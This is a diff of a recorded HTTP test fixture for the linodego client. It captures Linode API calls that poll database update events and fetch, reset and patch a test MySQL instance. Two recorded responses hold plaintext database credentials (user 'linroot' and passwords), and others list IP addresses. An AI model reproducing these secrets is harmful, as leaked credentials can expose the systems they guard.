https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:34:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:34:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:34:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -12597,7 +17179,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12613,17 +17195,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, + "duration": 61, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "finished", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -12636,23 +17218,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:34:48 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -12661,7 +17246,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12677,17 +17262,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {"172.105.36.137": "primary", "172.105.63.12": + "failover", "194.195.119.223": "failover"}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -12700,16 +17287,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "800" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:35:03 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12725,7 +17315,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12741,17 +17331,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/ssl method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"ca_certificate": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -12764,16 +17347,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "24" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:35:03 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12789,7 +17375,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12805,17 +17391,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/credentials method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"username": "linroot", "password": "ij09wmu-ISYaMk44"}' headers: Access-Control-Allow-Credentials: - "true" @@ -12828,16 +17407,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "55" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:35:04 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12853,7 +17435,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12869,17 +17451,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 - method: GET + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/credentials/reset + method: POST response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{}' headers: Access-Control-Allow-Credentials: - "true" @@ -12892,23 +17467,25 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:40:05 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -12917,7 +17494,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12933,17 +17510,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/credentials method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"username": "linroot", "password": "Ah1GS8,RKE5Y3okY"}' headers: Access-Control-Allow-Credentials: - "true" @@ -12956,16 +17526,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "55" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:40:22 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12981,7 +17554,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12997,17 +17570,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 - method: GET + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/patch + method: POST response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{}' headers: Access-Control-Allow-Credentials: - "true" @@ -13020,23 +17586,25 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:40:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -13045,7 +17613,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13061,17 +17629,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13084,16 +17653,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:40:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13109,7 +17681,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13125,17 +17697,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13148,16 +17721,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:40:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13173,7 +17749,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13189,17 +17765,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13212,16 +17789,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:41:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13237,7 +17817,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13253,17 +17833,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13276,16 +17857,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:41:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13301,7 +17885,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13317,17 +17901,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13340,16 +17925,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:41:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13365,7 +17953,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13381,17 +17969,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: 